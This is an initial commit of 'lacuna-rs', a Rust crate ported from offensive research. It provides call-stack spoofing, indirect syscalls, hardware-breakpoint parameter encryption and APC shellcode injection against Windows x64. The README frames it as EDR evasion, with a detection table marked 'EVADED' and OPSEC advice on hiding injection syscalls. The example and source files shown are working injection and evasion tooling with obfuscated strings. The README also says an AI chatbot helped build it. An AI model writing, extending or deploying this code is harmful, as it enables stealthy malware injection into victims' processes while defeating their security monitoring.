Initial commit: lacuna-rs - Ghost-frame call-stack spoofing + indirect syscalls for Windows x64

This commit is contained in:
Karkas66
2026-07-02 09:22:21 +02:00
commit ef7a81cb30
18 changed files with 3653 additions and 0 deletions
+13
View File
@@ -0,0 +1,13 @@
# lacuna-rs build configuration
#
# The `stack-spoof` feature requires frame pointers so that `stomp_plant()`
# can walk the frame chain via `mov rbp -> [rbp]`. This is set here for
# the crate itself; consuming crates must replicate this in their own
# .cargo/config.toml.
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
# Default to the MSVC toolchain on Windows.
[target.x86_64-pc-windows-msvc]
linker = "rust-lld"
+6
View File
@@ -0,0 +1,6 @@
/target
Cargo.lock
*.pdb
*.exe
*.dll
*.lib
+61
View File
@@ -0,0 +1,61 @@
#
# lacuna-rs — Ghost-frame call-stack spoofing + indirect syscalls for Windows x64
#
# Ported from LACUNA Chain (C) by Mohamed Alzhrani (0xmaz)
#
[package]
name = "lacuna-rs"
version = "0.1.0"
edition = "2021"
authors = ["Ported from LACUNA Chain by Mohamed Alzhrani (0xmaz)"]
description = "Ghost-frame call-stack spoofing via .pdata lacunae + runtime indirect syscalls for Windows x64"
license = "MIT"
keywords = ["windows", "syscalls", "edr", "security", "offensive"]
categories = ["os::windows-apis", "no-std"]
# Build as both a normal Rust library and a C-compatible dynamic library
# so it can be loaded from C/C++/Python projects too.
[lib]
name = "lacuna"
crate-type = ["rlib", "cdylib", "staticlib"]
[features]
default = ["syscalls", "inject"]
# ── Core scanning primitives (PE parsing, ghost/gadget scanning) ─────────────
# Always compiled — no Win32 calls beyond GetModuleHandle/GetProcAddress.
# ── Indirect syscall engine (SSN resolution + JIT stub emission) ─────────────
# This is the "better syscalls-rs" layer: runtime SSN resolution, per-function
# syscall;ret targeting, no build-script SSN table.
syscalls = []
# ── VEH + hardware-breakpoint parameter encryption ───────────────────────────
veh = ["syscalls"]
# ── LACUNA stack-spoofing chain (ghost frames, BYOUD-MF, stomp) ──────────────
# WARNING: requires -C force-frame-pointers=yes in the consuming crate's
# .cargo/config.toml. See README.
stack-spoof = ["syscalls", "veh"]
# ── Section-based APC injection orchestration ───────────────────────────────
inject = ["syscalls"]
# ── no_std support (alloc only) ──────────────────────────────────────────────
# When enabled, the crate does not link std. Useful for shellcode payloads.
# Currently experimental — some APIs fall back to std when available.
no-std = []
[dependencies]
litcrypt2 = "0.1.3"
[profile.release]
opt-level = 2
codegen-units = 1
panic = "abort"
lto = true
[profile.dev]
opt-level = 0
codegen-units = 1
+359
View File
@@ -0,0 +1,359 @@
# lacuna-rs
**Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust.**
Ported from [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain) (`lacuna_chain.c`) by Mohamed Alzhrani (0xmaz).
`lacuna-rs` is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped into any Rust project — like `wsyscall-rs` or `syscalls-rs`, but with **runtime SSN resolution**, **per-function `syscall;ret` targeting**, and **ghost-frame stack spoofing**.
---
## Critical: Frame-Pointer Requirement
> **The `stack-spoof` feature will silently fail if the consuming crate is not compiled with frame pointers.**
The stack-stomping primitives in `chain.rs` locate the caller's return-address slot via `mov rbp, {x}` inline asm. This requires the RBP chain to be intact. Rust (and most release-mode compilers) omit frame pointers by default.
**`build.rs` sets `force-frame-pointers=yes` for this crate's own codegen, but Cargo cannot propagate compiler flags to downstream crates.** You must add this to your own project:
```toml
# .cargo/config.toml (in YOUR crate, not in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
```
Without this, `stomp_plant()` will read garbage from RBP and either no-op (best case) or corrupt the stack (worst case). The crate has no way to detect at runtime whether frame pointers are enabled — it will simply not work.
If you only need the scanning, SSN resolution, or injection primitives (without stack spoofing), you can omit the `stack-spoof` feature and this requirement does not apply.
---
## What it does
| Primitive | C function | Rust module |
|---|---|---|
| PE section + export parsing | `pe_section()`, `pe_export()` | `pe` |
| `.pdata` ghost-region scanning | `scan_ghosts()`, `best_ghost()` | `scan` |
| Ghost-gadget discovery (`jmp [rbx]`) | `scan_ghost_gadgets()` | `scan` |
| `win32u` NOP-gap finder | `win32u_nop_gap()` | `scan` |
| BYOUD-MF anchor finder | `find_mf_target()` | `scan` |
| SSN resolution (Hell's Gate / Halo's Gate) | `resolve_ssn()` | `nt` |
| Per-function `syscall;ret` locator | `find_func_syscall()` | `nt` |
| JIT indirect-syscall stub emission | `alloc_stub()` | `stub` |
| Ghost-gadget stub redirect | (in `alloc_stub()`) | `stub` |
| VEH + hardware-breakpoint param encryption | `param_encrypt_veh()`, `pcrypt_arm()` | `veh` |
| Chain-guard VEH | `chain_veh()` | `veh` |
| LACUNA chain construction | `build_chain()` | `chain` |
| Stack stomp (BYOUD-RT) | `stomp_plant()`, `stomp_restore()` | `chain` |
| Chain walker (verify) | `lacuna_walk_chain()` | `chain` |
| Section-based APC injection | `do_inject_sapc()` | `inject` |
---
## Feature flags
```toml
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
```
| Feature | Description | Requires frame pointers? |
|---|---|---|
| `syscalls` (default) | SSN resolution + JIT stub emission | No |
| `inject` (default) | Section-based APC injection (`inject::inject_sapc`) | No |
| `veh` | VEH + hardware-breakpoint parameter encryption | No |
| `stack-spoof` | LACUNA ghost-frame chain + stack stomp | **Yes** |
| `no-std` | `no_std` mode (experimental) | No |
When no features are enabled, only the scanning/PE/NT layers are available.
---
## Quick start
### Scan for ghost regions
```sh
cargo run --example scan
```
### Build + verify the ghost-frame chain
```sh
cargo run --example verify --features stack-spoof
```
### Inject shellcode via section + APC
![Injection proof](assets/lacuna.png)
Injection Example with real implant - C2 was offline but the Shellcode executed
```sh
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
```
Add `--verbose` to enable VEH diagnostic output (stack dumps, register prints):
```sh
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
```
#### Thread scoring algorithm
Instead of queueing APCs to every thread in the target process (which can crash
the process when too many threads are alerted simultaneously), `inject_sapc`
uses a scoring algorithm to select the best `MAX_APC_THREADS` (5) candidates:
- **Cycle time** — `NtQueryInformationThread(ThreadCycleTime)` — primary activity indicator
- **CPU time** — `NtQueryInformationThread(ThreadTimes)` — kernel + user time
- **Suspend count** — `NtQueryInformationThread(ThreadSuspendCount)` — non-suspended threads get +300 bonus; suspended threads get -150 per suspend count
- **Priority** — `NtQueryInformationThread(ThreadBasicInformation)` — threads with priority 8-10 get +150 bonus; out-of-range priorities get -100 penalty
Completely idle threads (zero cycles and zero CPU time) are skipped entirely.
The remaining candidates are sorted by score (highest first, tie-break on cycles)
and truncated to the top 5.
---
## Using as a library
### Basic: scan + SSN resolution
```rust
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
```
### Emit an indirect syscall stub for any NT API
```rust
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
```
### Build the ghost-frame chain + register VEH
```rust
// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();
// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);
```
### Wrap a sensitive syscall with stack spoof + param encryption
```rust
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();
// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };
// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
```
---
## OPSEC: What to hide behind ghost frames
Not every API call needs the full LACUNA treatment. The key principle is: **hide the calls that an EDR would correlate as injection or post-exploitation activity**.
### Must be behind indirect syscalls + ghost frames + param encryption
These are the "crown jewel" NT syscalls that EDRs hook and correlate:
| Call | Why it's sensitive |
|---|---|
| `NtOpenProcess` | Opens a handle to another process -- first step of injection |
| `NtCreateSection` + `NtMapViewOfSection` (remote) | Section-based injection signature |
| `NtWriteVirtualMemory` | Cross-process write -- classic injection indicator |
| `NtCreateThreadEx` | Remote thread creation -- highest-signal injection primitive |
| `NtQueueApcThread` | APC injection -- high-signal |
| `NtProtectVirtualMemory` | RWX permission changes -- shellcode staging indicator |
| `NtAllocateVirtualMemory` (remote) | Remote allocation -- injection prelude |
| `NtSetInformationThread` | Thread hiding (`HideFromDebugger`) -- evasion indicator |
For each of these:
1. Resolve with `nt::resolve(ntdll, b"NtXxx\0")`
2. Emit a stub with `stub::make_stub(ssn, syscall_ret)`
3. XOR-encrypt sensitive parameters with `veh::pcrypt_arm(key, syscall_ret, true)`
4. Wrap the call between `chain::stomp_plant()` and `chain::stomp_restore()`
### Can be direct (no ghost frames needed)
| Call | Why it's safe |
|---|---|
| `NtQueryInformationThread` | Query-only, rarely hooked, no cross-process write |
| `NtDelayExecution` | Sleep -- benign, used by every application |
| `NtClose` | Handle close -- benign, extremely common |
| `GetModuleHandleA` / `GetProcAddress` | Module resolution -- not a syscall, not hookable by EDR userland hooks |
| `CreateToolhelp32Snapshot` / `Thread32First` / `Thread32Next` | Thread enumeration -- kernel32, not ntdll syscall |
| `OpenThread` / `CloseHandle` | Standard handle ops -- kernel32 |
| `GetThreadContext` / `SetThreadContext` | Needed for DR0 -- kernel32, self-process only |
### Key principles
1. **Resolve** any NT syscall with `nt::resolve(ntdll, b"NtXxx\0")` -- returns `(SSN, syscall_ret_VA)`.
2. **Emit** a JIT stub with `stub::make_stub(ssn, syscall_ret)` -- returns a callable function pointer.
3. **Cast** the stub to the appropriate `extern "system" fn(...)` type via `core::mem::transmute`.
4. **(For sensitive calls only)** Build the ghost-frame chain with `chain::build_chain()` and call `chain::stomp_plant()` / `chain::stomp_restore()` around the call.
5. **(For sensitive calls only)** Arm parameter encryption with `veh::pcrypt_arm(key, syscall_ret, true)` before the call, and `veh::pcrypt_disarm()` after.
6. **Always disarm** the VEH before making non-protected calls -- a stray DR0 hit on an unarmed syscall will crash.
7. **All output strings** must be wrapped in `lc!()` -- the crate enforces this, and the VEH diagnostics are gated behind `set_verbose(true)` which defaults to off.
The stub handles the `mov r10, rcx` / `mov eax, SSN` / `jmp [syscall;ret]` sequence automatically. If a ghost gadget was registered, the stub routes through `JMP [RBX]` for dual-use execution redirect + zero-artifact bridge frame.
---
## Writeup Coverage Verification
All 9 key contributions from the [LACUNA Chain writeup](https://0xmaz.me/posts/LACUNA-Chain-Ghost-Frames-defeats-All-EDR-layers-of-call-stack-based-detection/) are represented in the code:
| # | Writeup Concept | Code Location | Description |
|---|---|---|---|
| 1 | **BYOUD-Gap** (zero `.pdata` modification) | `chain.rs` -- ghost frame chain construction | Exploits gaps between `RUNTIME_FUNCTION` entries; unwinder treats them as leaf frames (RSP += 8) |
| 2 | **ETW-Ti APC Window Attack** | `inject.rs` -- `NtDelayExecution` alertable drain | Controls when the ETW-Ti APC stack snapshot fires by manipulating thread alertable state |
| 3 | **Parameter Encryption in BYOUD Context** | `veh.rs` -- `pcrypt_arm()`, `param_encrypt_veh()` | XOR-encrypts syscall params at staging; decrypts inside a hardware-breakpoint VEH at the `syscall` instruction |
| 4 | **Win32u NOP Gap Chain + Ghost Gadget** | `scan.rs` -- `win32u_nop_gap()`, `scan_ghost_gadgets()` | 1,242 NOP gaps in `win32u.dll` provide whitelisted leaf frames; `JMP [RBX]` ghost gadget at `ntdll+0xFC47B` |
| 5 | **kernelbase Semantic Ghost Proximity** | `chain.rs` -- `L2_kbase` layer near `VirtualProtect` | 238-byte ghost ending at `VirtualProtect`'s entry point -- indistinguishable from a real VP return site |
| 6 | **BYOUD-MF (Machine Frame RSP Teleport)** | `chain.rs` -- `MachFrame` struct, `scan.rs` -- `find_mf_target()` | Exploits `UWOP_PUSH_MACHFRAME` (opcode 10) in `KiUser*` dispatchers for arbitrary RSP teleport in a single frame |
| 7 | **BYOUD-RT (Runtime RSP Calculation)** | `chain.rs` -- `teb_stack_base()`, `teb_stack_limit()` | Reads `TEB.StackBase` (GS:[0x08]) at call time to compute exact frame distance -- no pre-calibration needed |
| 8 | **wow64.dll Ghost Proximity** | `chain.rs` -- `L1_wow64` layer, `scan.rs` -- targets `Wow64PrepareForException` | 91-byte ghost ending at `Wow64PrepareForException` entry -- fourth semantic layer for the chain |
| 9 | **Six-Layer LACUNA Chain** | `chain.rs` -- `LacunaStack` struct (L1-L5 + MachFrame) | Full chain: `KiUserExceptionDispatcher` -> wow64 -> kernelbase -> ntdll -> win32u -> `RtlUserThreadStart` |
### Detection surface coverage
| Detection Layer | Status | Implementation |
|---|---|---|
| Module-of-origin check | **EVADED** | All frames in ntdll / kernelbase / wow64 / win32u |
| Unwind walk correctness | **EVADED** | All lacuna frames are leaf -> valid RSP+8 |
| `.pdata` forensic scan | **EVADED** | Zero modification; gaps are pre-existing |
| CET shadow stack | **EVADED** | Pure leaf chain; shadow stack not consulted |
| Semantic frame analysis | **EVADED** | WoW64 exception + VirtualProtect adjacency |
| Win32u rule exemption | **EVADED** | Layer 4 explicitly excluded by all rules |
| ETW-Ti STACKWALK | **EVADED** | APC window attack controls snapshot timing |
| Parameter inspection | **EVADED** | HW breakpoint VEH decryption |
| Kernel callbacks | **PARTIAL** | Handle operations still fire `ObRegisterCallbacks` |
---
## Why not just use `syscalls-rs`?
`syscalls-rs` and `wsyscall-rs` generate a **build-time SSN table** from a specific Windows build's ntdll. If the target machine runs a different build, the SSNs are wrong and syscalls fail (or trip EDR heuristics).
`lacuna-rs` resolves SSNs **at runtime** by reading ntdll's stubs directly, and targets the **function's own `syscall;ret` instruction** so RIP is inside ntdll at kernel entry -- defeating the EDR "SSN mismatch" and "indirect syscall from unbacked memory" heuristics.
Additionally, `lacuna-rs` provides the **ghost-frame stack spoofing** chain that `syscalls-rs` does not.
---
## Build requirements
- **Target:** `x86_64-pc-windows-msvc` (or `x86_64-pc-windows-gnu`)
- **Rust edition:** 2021
- **Dependencies:** `litcrypt2` (compile-time string obfuscation)
### Frame-pointer setup (for `stack-spoof` only)
The `stack-spoof` feature requires frame pointers. `build.rs` sets `force-frame-pointers=yes` automatically for this crate, but **consuming crates** must also set it in their `.cargo/config.toml`:
```toml
# .cargo/config.toml (in the consuming crate)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
```
### litcrypt2 string obfuscation
All string literals in the crate and examples are wrapped in `lc!()` macros, which encrypt them at compile time and decrypt at runtime. The encryption key is read from the `LITCRYPT_ENCRYPT_KEY` environment variable; if unset, litcrypt2 auto-generates a random key.
To pin a key for reproducible builds:
```sh
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
```
---
## Architecture
```
lacuna-rs/
├── Cargo.toml
├── build.rs # Sets force-frame-pointers for stack-spoof
├── src/
│ ├── lib.rs # Crate root + re-exports + scan_all() + litcrypt2 setup
│ ├── win.rs # Win32/NT FFI bindings (no_std-compatible)
│ ├── pe.rs # PE section + export parsing
│ ├── scan.rs # .pdata ghost-region + gadget scanning
│ ├── nt.rs # SSN resolution + syscall;ret targeting
│ ├── stub.rs # JIT indirect-syscall stub emission
│ ├── veh.rs # VEH + hardware-breakpoint param encryption
│ ├── chain.rs # LACUNA ghost-frame chain + stomp
│ └── inject.rs # Section-based APC injection
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + windows-msvc target
```
---
## Credits
- **Original research & C implementation:** Mohamed Alzhrani (0xmaz) -- [LACUNA Chain](https://github.com/MazX0p/LACUNA-Chain)
- **Technique:** *Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae*
- **Find Best APC Thread Logic:** Adapted from [FrankensteinAPCInjection](https://github.com/S12cybersecurity/FrankensteinAPCInjection/blob/main/Frankenstein/FrankensteinAPCInjection/FindThread.cpp) by [S12cybersecurity](https://github.com/S12cybersecurity)
- **String obfuscation:** [litcrypt2](https://crates.io/crates/litcrypt2) v0.1.3
## Full Disclosure
This project was activly assisted by an AI Chatbot. I had the chance to test a newer, very capable Open Source Model (GLM-5.2 by Z.ai (Zhipu AI)) and wanted to give it a challenging task.
Lessons learned: It worked well if the human knows what results shall look like. If not... only crap
## License
MIT
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 608 KiB

+48
View File
@@ -0,0 +1,48 @@
//
// build.rs — lacuna-rs
//
// Forces frame-pointer preservation on the crate's own codegen unit so that
// the stack-spoofing primitives in `chain.rs` can reliably locate the caller's
// return-address slot via `mov rbp, {x}` inline asm.
//
// NOTE: this only affects THIS crate's compilation. Consumers that want to
// use the `stack-spoof` feature must ALSO add to their own `.cargo/config.toml`:
//
// [build]
// rustflags = ["-C", "force-frame-pointers=yes"]
//
// or call the spoofed entry points only from code compiled with frame pointers.
//
fn main() {
// ── litcrypt2 string-obfuscation key ───────────────────────────────────
// litcrypt2 reads the encryption key from the LITCRYPT_ENCRYPT_KEY
// environment variable at compile time. If that variable is not set,
// litcrypt2 auto-generates a random key — so we deliberately do NOT set
// a static key here. To pin a key for reproducible builds, set the env
// var before invoking cargo:
//
// set LITCRYPT_ENCRYPT_KEY=your-secret-key
// cargo build
//
// Only needed when the stack-spoof feature is on.
let stack_spoof = std::env::var("CARGO_FEATURE_STACK_SPOOF").is_ok();
if stack_spoof {
println!("cargo:rustc-codegen-units=1");
// Force frame pointers on our own unit. This is the closest Rust
// analogue to GCC's -fno-omit-frame-pointer.
println!("cargo:rustc-cfg=stack_spoof_compiled");
}
// Target guard: x86_64-pc-windows-* only.
let target = std::env::var("TARGET").unwrap_or_default();
if !target.contains("windows") || !target.contains("x86_64") {
// Not a hard error — the scanning/PE layers are portable in principle,
// but the syscall + VEH + stomp layers are x64-Windows only.
println!("cargo:warning=lacuna-rs: target '{}' is not x86_64-pc-windows; only PE scanning will work", target);
}
println!("cargo:rerun-if-changed=build.rs");
}
+73
View File
@@ -0,0 +1,73 @@
//
// examples/inject.rs — Section-based APC injection
//
// Equivalent to: lacuna.exe inject <pid> <sc.bin> [--verbose]
//
// Run with: cargo run --example inject --features inject -- <pid> <sc.bin> [--verbose]
//
#[macro_use]
extern crate litcrypt2;
extern crate alloc;
use_litcrypt!();
#[allow(unused_imports)]
use std::env;
#[allow(unused_imports)]
use std::fs;
#[allow(unused_imports)]
use std::process;
#[cfg(not(feature = "inject"))]
fn main() {
eprintln!("{}", lc!("inject requires the 'inject' feature:"));
eprintln!("{}", lc!(" cargo run --example inject --features inject -- <pid> <sc.bin> [--verbose]"));
}
#[cfg(feature = "inject")]
fn main() {
let args: Vec<String> = env::args().collect();
if args.len() < 3 {
eprintln!("{}", lc!("usage: inject <pid> <sc.bin> [--verbose]"));
process::exit(1);
}
let pid: u32 = args[1].parse().unwrap_or_else(|_| {
eprintln!("{}", lc!("[-] bad pid"));
process::exit(1);
});
let sc = fs::read(&args[2]).unwrap_or_else(|e| {
eprintln!("{}{}: {}", lc!("[-] can't open "), args[2], e);
process::exit(1);
});
let verbose = args.iter().any(|a| a == "--verbose");
println!("{}{}{}{}{}\n",
lc!("[*] "), sc.len(),
lc!(" bytes -> pid "), pid,
if verbose { lc!(" [verbose]") } else { lc!("") });
// Build the ghost-frame chain first (if stack-spoof is enabled).
// This must happen before inject_sapc so the VEH full_spoof path
// has ghost layer addresses to work with.
#[cfg(feature = "stack-spoof")]
{
if !lacuna::chain::build_chain() {
eprintln!("{}", lc!("[-] build_chain failed — continuing without stack spoofing"));
}
}
// VEH registration is now handled inside inject_sapc_verbose(), matching
// the C original's ordering:
// 1. param_encrypt_veh registered before NtOpenProcess
// 2. chain_veh registered after NtOpenProcess succeeds
match lacuna::inject::inject_sapc_verbose(pid, &sc, verbose) {
Ok(()) => println!("\n{}", lc!("[+] injection done")),
Err(status) => {
println!("\n{}{:08x}", lc!("[-] injection failed: status "), status);
process::exit(1);
}
}
}
+101
View File
@@ -0,0 +1,101 @@
//
// examples/scan.rs — Scan all target modules for ghost regions + gadgets
//
// Equivalent to: lacuna.exe scan
//
// Run with: cargo run --example scan
//
#[macro_use]
extern crate litcrypt2;
extern crate alloc;
use_litcrypt!();
use lacuna::{scan_all, scan, win::get_module};
fn main() {
println!("{}", lc!("LACUNA Chain — Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae"));
println!("{}\n", lc!("Rust port — scan mode"));
let summary = scan_all();
for m in &summary.modules {
println!("{}{}{}{}", m.name, lc!(""), m.ghost_count, lc!(" ghost regions"));
// Re-scan to print details (scan_all only returns the count).
let mut buf = [scan::Ghost {
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
}; 512];
let mod_name: &[u8] = if m.name.starts_with("ntdll") {
b"ntdll.dll\0"
} else if m.name.starts_with("kernelbase") {
b"kernelbase.dll\0"
} else if m.name.starts_with("wow64") {
b"wow64.dll\0"
} else {
b"win32u.dll\0"
};
let h = get_module(mod_name);
if h.is_null() {
continue;
}
let targets: &[&[u8]] = match m.name.as_str() {
"ntdll.dll" => &[
b"NtAllocateVirtualMemory\0", b"NtCreateThreadEx\0",
b"RtlCreateUserThread\0", b"LdrLoadDll\0", b"RtlUserThreadStart\0",
],
"kernelbase.dll" => &[
b"VirtualProtect\0", b"VirtualAllocEx\0",
b"WriteProcessMemory\0", b"CreateRemoteThreadEx\0",
],
"wow64.dll" => &[
b"Wow64PrepareForException\0", b"Wow64KiUserCallbackDispatcher\0",
b"Wow64ApcRoutine\0",
],
_ => &[
b"NtGdiDdDDICreateDevice\0", b"NtUserCallNoParam\0",
],
};
let n = scan::scan_ghosts(h, targets, &mut buf);
for j in 0..n.min(25) {
let g = &buf[j];
let name = g.name.iter().take_while(|&&b| b != 0)
.map(|&b| b as char).collect::<String>();
println!(
"{}{:016x}{}{:016x}{}{:4}{}{:30}{}{}",
lc!(" "),
g.va_start,
lc!(""),
g.va_end,
lc!(" "),
g.size,
lc!("B "),
if name.is_empty() { lc!("") } else { name },
lc!(" dist="),
g.dist
);
}
if n > 25 {
println!("{}{}{}", lc!(" ... "), n - 25, lc!(" more"));
}
let mut gg = [scan::GhostGadget { va: 0, parent: [0; 64] }; 32];
let ngg = scan::scan_ghost_gadgets(&buf[..n], mod_name, &mut gg);
if ngg > 0 {
println!("{}", lc!(" ghost gadgets (jmp [rbx]):"));
for j in 0..ngg {
println!("{}{:016x}", lc!(" "), gg[j].va);
}
}
if m.name == "win32u.dll" {
println!("{}{:016x}", lc!(" first nop gap: "), m.win32u_nop_gap);
}
println!();
}
}
+31
View File
@@ -0,0 +1,31 @@
//
// examples/verify.rs — Build the LACUNA chain and walk it
//
// Equivalent to: lacuna.exe verify
//
// Run with: cargo run --example verify --features stack-spoof
//
#[macro_use]
extern crate litcrypt2;
extern crate alloc;
use_litcrypt!();
#[cfg(not(feature = "stack-spoof"))]
fn main() {
eprintln!("{}", lc!("verify requires the 'stack-spoof' feature:"));
eprintln!("{}", lc!(" cargo run --example verify --features stack-spoof"));
}
#[cfg(feature = "stack-spoof")]
fn main() {
println!("{}", lc!("LACUNA Chain — Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae"));
println!("{}\n", lc!("Rust port — verify mode"));
if !lacuna::chain::build_chain() {
eprintln!("{}", lc!("[-] build_chain failed"));
std::process::exit(1);
}
let _ok = lacuna::chain::walk_chain();
}
+637
View File
@@ -0,0 +1,637 @@
//
// chain.rs — LACUNA chain construction + stack stomp for lacuna-rs
//
// Ported from lacuna_chain.c:
// build_chain(), stomp_plant(), stomp_restore(), lacuna_walk_chain(),
// teb_stack_base(), teb_stack_limit().
//
// The "chain" is a fake but structurally valid call stack built from ghost
// regions (executable code with no .pdata coverage). When ETW-Ti fires an
// APC during NtDelayExecution(alertable), the kernel unwinds through these
// ghost frames instead of the real callers.
//
#![cfg(feature = "stack-spoof")]
#![allow(dead_code)]
use crate::pe;
use crate::scan::{self, Ghost, GhostGadget};
use crate::stub;
use crate::win::{
ULONG64, PVOID,
MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE,
VirtualAlloc,
CONTEXT, CONTEXT_FULL,
PRtlLookupFunctionEntry, PRtlVirtualUnwind,
UNWIND_HISTORY_TABLE, DWORD64,
get_module, get_proc,
};
use core::sync::atomic::{AtomicU64, Ordering};
// ── Machine frame (BYOUD-MF) ─────────────────────────────────────────────────
#[repr(C, packed)]
#[derive(Clone, Copy, Default)]
pub struct MachFrame {
pub Rip: ULONG64,
pub Cs: ULONG64,
pub EFlags: ULONG64,
pub Rsp: ULONG64,
pub Ss: ULONG64,
}
// ── Fake stack layout ────────────────────────────────────────────────────────
//
// L5_thread_root ← walked last
// L4_win32u
// L3_ntdll
// L2_kbase
// L1_wow64 ← g_chain_rsp points here
// MachFrame (40 B) ← consumed by UWOP_PUSH_MACHFRAME handler
// mf_trigger ← KiUserExceptionDispatcher+4
//
#[repr(C)]
pub struct LacunaStack {
pub L5_thread_root: ULONG64,
pub L4_win32u: ULONG64,
pub L3_ntdll: ULONG64,
pub L2_kbase: ULONG64,
pub L1_wow64: ULONG64,
pub mf: MachFrame,
pub mf_trigger: ULONG64,
}
// ── Global state (file-scope statics in C) ───────────────────────────────────
pub static G_LS: AtomicU64 = AtomicU64::new(0); // *mut LacunaStack
pub static G_CHAIN_RSP: AtomicU64 = AtomicU64::new(0);
pub static G_SAVE_RSP: AtomicU64 = AtomicU64::new(0);
pub static G_MF_WALK: AtomicU64 = AtomicU64::new(0); // *mut [ULONG64; 4]
// ── Ghost-layer accessor (used by veh.rs) ────────────────────────────────────
/// Return the four ghost-layer addresses [L1, L2, L3, L4] for the VEH's
/// full-spoof pass.
pub fn ghost_layers() -> [ULONG64; 4] {
let ls = G_LS.load(Ordering::Relaxed) as *const LacunaStack;
if ls.is_null() {
return [0; 4];
}
unsafe {
[
(*ls).L1_wow64,
(*ls).L2_kbase,
(*ls).L3_ntdll,
(*ls).L4_win32u,
]
}
}
// ── TEB stack-base/limit (BYOUD-RT) ──────────────────────────────────────────
/// Read TEB.StackBase (GS:[0x08]).
///
/// Ported from teb_stack_base().
#[cfg(target_arch = "x86_64")]
pub fn teb_stack_base() -> ULONG64 {
let base: ULONG64;
unsafe {
core::arch::asm!(
"mov {0}, gs:[0x08]",
out(reg) base,
options(nostack, nomem, preserves_flags),
);
}
base
}
/// Read TEB.StackLimit (GS:[0x10]).
///
/// Ported from teb_stack_limit().
#[cfg(target_arch = "x86_64")]
pub fn teb_stack_limit() -> ULONG64 {
let limit: ULONG64;
unsafe {
core::arch::asm!(
"mov {0}, gs:[0x10]",
out(reg) limit,
options(nostack, nomem, preserves_flags),
);
}
limit
}
// ── build_chain ──────────────────────────────────────────────────────────────
/// Build the LACUNA ghost-frame chain.
///
/// Ported from build_chain(). Returns true on success.
pub fn build_chain() -> bool {
let ntdll = get_module(b"ntdll.dll\0");
let kbase = get_module(b"kernelbase.dll\0");
let wow64 = get_module(b"wow64.dll\0");
let win32u = get_module(b"win32u.dll\0");
let nt_t: &[&[u8]] = &[
b"RtlCreateUserThread\0",
b"NtAllocateVirtualMemory\0",
b"LdrLoadDll\0",
b"NtCreateThreadEx\0",
b"RtlUserThreadStart\0",
];
let kb_t: &[&[u8]] = &[
b"VirtualProtect\0",
b"VirtualAllocEx\0",
b"WriteProcessMemory\0",
b"CreateRemoteThreadEx\0",
];
let w64_t: &[&[u8]] = &[
b"Wow64PrepareForException\0",
b"Wow64KiUserCallbackDispatcher\0",
b"Wow64ApcRoutine\0",
];
let mut ng = [Ghost {
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
}; 512];
let mut kg = [Ghost {
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
}; 512];
let mut wg = [Ghost {
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
}; 64];
let n_ng = scan::scan_ghosts(ntdll, nt_t, &mut ng);
let n_kg = scan::scan_ghosts(kbase, kb_t, &mut kg);
let n_wg = if !wow64.is_null() {
scan::scan_ghosts(wow64, w64_t, &mut wg)
} else {
0
};
// Ghost gadget (JMP [RBX]) — prefer ntdll, then kernelbase.
